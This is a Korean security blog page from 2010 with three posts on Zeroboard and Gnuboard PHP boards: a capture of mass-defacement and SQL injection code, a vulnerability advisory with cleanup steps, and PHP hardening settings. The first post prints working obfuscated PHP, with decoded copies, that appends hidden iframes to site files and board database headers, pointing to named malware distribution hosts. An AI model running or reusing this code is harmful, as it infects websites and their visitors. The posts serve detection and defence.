'제로보드'에 해당되는 글 15건

  1. 2010.12.28 Mass SQL Injection Attack Code (PHP, MySQL)
  2. 2010.12.22 국내 공개 웹 게시판(제로보드) 취약점 주의
  3. 2010.12.21 PHP 안전한 환경 (공개용 PHP 솔루션 사용시 주의사항)
2010. 12. 28. 15:42

Mass SQL Injection Attack Code (PHP, MySQL)

728x90
* 홈페이지 변조 및 Mass SQL Injection을 통해 대량 악성코드 유포 발생
- 최근 공격 코드 유형 파악해서 차단이나 알람 대응 필요

# 홈페이지 변조 코드

function gmfun($path){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).
chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).
chr(35).chr(120).chr(51).chr(65).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).
chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(49).chr(59).chr(38).chr(35).chr(120).
chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(67).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).
chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).
chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(57).chr(59).chr(38).chr(35).chr(120).chr(54).chr(69).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(52).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).
chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).
chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(32).chr(119).chr(105).chr(100).
chr(116).chr(104).chr(61).chr(50).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).
chr(50).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$key=chr(105).
chr(110).chr(100).chr(101).chr(120).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(99).chr(111).
chr(110).chr(102).chr(105).chr(103).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(100).chr(101).
chr(102).chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(105).chr(110).chr(100).
chr(101).chr(120).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(100).chr(101).chr(102).
chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(122).chr(98).
chr(111).chr(97).chr(114).chr(100).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(108).chr(105).
chr(98).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(104).chr(111).chr(109).chr(101).chr(92).
chr(46).chr(112).chr(104).chr(112);$d = @dir($path);while(false !== ($v = $d->read())) {if($v == chr(46) || $v == chr(46).chr(46)) continue;$file = $d->path.chr(47).$v;if(@is_dir($file)) {gmfun($file);} else {if(@ereg(stripslashes($key),$file)) {$mm=stripcslashes( trim( $daima ) );$handle = @fopen ($file, chr(97));@fwrite($handle, $mm);@fclose($handle);echo $file.chr(60).chr(98).chr(114).chr(62);}}}$d->close();}set_time_limit(0);gmfun($_SERVER[DOCUMENT_ROOT]);

# Mass SQL Injection (제로보드)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$Code=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).
chr(99).chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).
chr(110).chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).
chr(47).chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).
chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).
chr(104).chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).
chr(101).chr(62);$a=chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).
chr(115).chr(101).chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(61).chr(67).
chr(79).chr(78).chr(67).chr(65).chr(84).chr(40).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(44).
chr(39).$Code.chr(39).chr(41);mysql_query($a);@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$Code='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$a='update $group_table set header=CONCAT(header,$Code);
mysql_query($a);
@mysql_close($connect);

# Mass SQL Injection (제로보드2)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).chr(116).chr(32).chr(110).
chr(97).chr(109).chr(101).chr(44).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(102).
chr(114).chr(111).chr(109).chr(32).$group_table);while ($qing = mysql_fetch_array($result, MYSQL_NUM
)){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).chr(110).
chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).
chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).
chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).
chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).
chr(62);$mm=stripcslashes( trim( $daima) );$kong;$oldheader = str_replace($mm,$kong,$qing[1]);$a=
chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).chr(115).chr(101).
chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(61).chr(32).chr(39).
$oldheader.chr(39).chr(32).chr(119).chr(104).chr(101).chr(114).chr(101).chr(32).chr(110).chr(97).chr(109).
chr(101).chr(61).chr(39).$qing[0].chr(39);mysql_query($a);}@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$result = mysql_query('select name,header from $group_table');
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
$daima='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$mm=stripcslashes( trim( $daima) );
$kong;
$oldheader = str_replace($mm,$kong,$qing[1]);
$a="update $group_table set header = '$oldheader' where name='$qing[0]'";
mysql_query($a);
}
@mysql_close($connect);

# Mass SQL Injection (그누보드)

$g4_path=chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47);include chr(46).chr(46).
chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(99).chr(111).chr(109).chr(109).chr(111).chr(110).
chr(46).chr(112).chr(104).chr(112);$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).
chr(116).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).chr(101).chr(44).chr(98).
chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(95).chr(104).chr(101).
chr(97).chr(100).chr(32).chr(102).chr(114).chr(111).chr(109).chr(32).$g4[board_table]);$daima=chr(60).
chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).chr(61).chr(34).
chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(114).
chr(111).chr(53).chr(50).chr(49).chr(46).chr(99).chr(111).chr(109).chr(47).chr(116).chr(101).chr(115).
chr(116).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).chr(105).chr(100).chr(116).chr(104).
chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).chr(48).chr(62).
chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$daima=stripcslashes(trim(
$daima));while ($qing = mysql_fetch_array($result, MYSQL_NUM)){if(strpos($qing[1],$daima)>0){    }
else{mysql_query(chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$g4[board_table].chr(32).
chr(115).chr(101).chr(116).chr(32).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).
chr(110).chr(116).chr(95).chr(104).chr(101).chr(97).chr(100).chr(61).chr(67).chr(79).chr(78).chr(67).chr(65).
chr(84).chr(40).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).
chr(95).chr(104).chr(101).chr(97).chr(100).chr(44).chr(39).chr(32).$daima.chr(39).chr(41).chr(32).chr(119).
chr(104).chr(101).chr(114).chr(101).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).
chr(101).chr(61).chr(39).$qing[0].chr(39));}}@mysql_close($connect);
# 정상코드
$g4_path='../../../';
include '../../../common.php';
$result = mysql_query('select bo_table,bo_content_head from $g4[board_table]');
$daima='<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>';
$daima=stripcslashes(trim($daima));
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
if(strpos($qing[1],$daima)>0){    }
else
{
mysql_query(update $g4[board_table] set bo_content_head=CONCAT(bo_content_head, $daima) where o_table='$qing[0]');
}
}
@mysql_close($connect);

Trackback 0 Comment 0
2010. 12. 22. 11:06

국내 공개 웹 게시판(제로보드) 취약점 주의

728x90

_______________________________________________________________________________

원인 :  제로보드 4 게시판의 취약성을 이용한 파일 변조

증상  :   1. bbs/icon 폴더에 group_qazwsxedc.jpg 파일과 visitLog.php 생성

            2. 계정내 확장자가 html, php  파일들에 frame src="악성코드 배포지 URL 삽입
 (예: http://h.nexprice.com/css/x.htm)

                * 주로 bbs/폴더내의 파일들에 소스가 삽입됩니다.
                * 계정내 파일들에 iframe 삽입은 없을 수도 있습니다. 
           
            3. 제로보드 DB에 zetyx_group_table 생성되고 이 테이블의  header 또는
                header_url 에 위 2번과 동일한 악성코드 배포지 URL 생성.

조치  :  1. 1번 증상의 경우 해당 파일 삭제
           
           2. 2번 증상의 경우 파일의 소스를 확인하여 삽입된 iframe 삭제

           3. 3번 증상의 경우 제로보드 관리자로 로그인하여 생성된 그룹이 있는지
               확인하여 새로 생성된 그룹에 삽입된 소스를 삭제        
_______________________________________________________________________________

□ 개요
  o 국내 PHP 기반의 공개 웹 게시판 제로보드에서 XSS, CSRF 및 RFI 취약점이 발견됨[1, 2]
  o 해당 취약점을 이용한 홈페이지 변조 및 원격 실행 위협이 발생함에 따라, 취약한 버전 
     사용자의 주의 및 조속한 패치가 요구됨

□ 영향
  o 공격자는 제로보드 관리자 권한을 획득하거나, 취약한 버전의 제로보드가 설치된 서버에서 
     원격의 악의적인 PHP 파일을 실행 가능하며, 이를 이용한 웹 변조, 원격 명령 실행 등의 
     위협이 발생할 수 있음

□ 해당시스템
  o 제로보드 4 버전
  o 제로보드 XE 1.4.4.2 이하 버전

□ 해결방안
  o 제로보드 4 버전 사용자는 XE로 업그레이드[3] 하거나 RFI 취약점 보안 패치[6] 적용
    ※ 제로보드 4는 2009년 9월 25일 이후로 공식적인 배포가 중단되었으므로, XE 버전으로 
       업그레이드를 권고
  o 기존 제로보드 XE 사용자는 업데이트가 적용된 상위 버젼으로 업그레이드[4]
    ※ 공식사이트에서 취약점이 패치된 xe.1.4.4.3.zip 파일을 다운로드 받아 기존에 XE를
       운영중인 디렉토리에 설치

□ 사용자 주의사항
   o 사용자들은 제로보드의 공식 공지사항 및 정보공유 게시판[2, 5]을 주기적으로 확인하여 
      신규 취약점에 대한 정보를 숙지하고 이에 따른 조치를 취해야함

□ 용어 정리
   o 제로보드(ZeroBoard): PHP 언어로 작성된 홈페이지용 게시판 소프트웨어 또는 프레임워크
   o XSS (Cross Site Scripting) : 웹사이트 관리자가 아닌 이가 웹페이지에 클라이언트 사이드 
      스크립트를 삽입하여 다른 사용자가 이를 실행하게끔 허용하는 취약점
   o CSRF (Cross-Site Request Forgery) : 권한을 도용하는 가짜 요청문이 클라이언트의 
      웹브라우저상에서 실행되도록 유도 가능한 취약점
   o RFI (Remote File Inclusion) : 사용자 입력 값 검증이 부적절하게 이루어져서, 원격의 
      서버에 존재하는 스크립트 파일을 취약한 시스템 상에서 실행할 수 있는 취약점
   o PHP: 동적인 웹사이트를 위한 서버 측 스크립트 언어

□ 기타 문의사항
   o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

[참고사이트]
[1] http://www.xpressengine.com/blog/textyle/19342723
[2] http://www.xpressengine.com/zb4_main
[3] http://migration.xpressengine.net/?document_srl=18298740
[4] http://www.xpressengine.com/?mid=download&package_srl=18325662
[5] http://www.xpressengine.com/index
[6] http://www.xpressengine.com/zb4_security/19346851


Trackback 1 Comment 0
2010. 12. 21. 19:13

PHP 안전한 환경 (공개용 PHP 솔루션 사용시 주의사항)

728x90
최근 심각해 보이는 PHP 문제가 확인되었습니다.

특히, 공개용 PHP 솔루션(예, 제로보드, 그누보드 등)을 사용할 경우 매우 주의가 필요합니다.
꼭 공개용 솔루션만 문제는 아니지만 소스가 오픈되지 않은 경우 일반적으로 위험성이 낮습니다.

많은 취약점들이 공개용 솔루션에서 끝도 없이 발생하며 악성코드 유포의 주범이 되고 있습니다.
문제가 외부에 공개될 경우 홈페이지 변조를 통한 악성코드 감염이 추가 발생할 수 있습니다.

아래 사항은 이미 위험성이 알려진 부분이지만 적용되지 않은 경우 추가 위험성이 존재하여
다시한번 중요한 PHP 옵션에 대해 언급하며, 이를 반영할 경우 피해를 최소화 할 수 있습니다.

1. register_globals=Off

2. session.cookie_httponly=On (php >= 5.2.x)

3. allow_url_include=Off (php >= 5.2.x)

3-1. allow_url_fopen=Off (php < 5.2.x)

간단히 옵션만 변경하면 되지만 현실적이로 불가능한 경우가 많습니다.

과거에 개발되었거나 공개용 솔루션을 이용할 경우이며,
최소한 최근 개발되는 환경은 위 옵션을 유지하기를 권장해 드립니다.

위 옵션만 유지된다면 현재 추가로 발견된 문제에 대해서는
직접적인 영향이 발생되지 않을 것으로 보입니다.

위 옵션을 유지할 수 없는 환경인 경우 특정 대상으로 접근을 제한하거나
그것도 불가능할 경우 해외 특히 중국 아이피를 차단하시기 바랍니다.

그리고 구글에 URL이 노출되는지 확인 후 노출된 URL에 대해서는 특별히 신경을 써야 하고
가능하면 구글에 노출되지 않도록 구글봇을 차단하시는게 좋습니다.

구글에 노출조차 허용하고 싶다면
최소한 공개용 솔루션 URL이라도 노출되지 않도록 robots.txt rule 적용이 필요합니다.

이 모든것 또한 100% 보장은 어렵습니다.


Trackback 0 Comment 0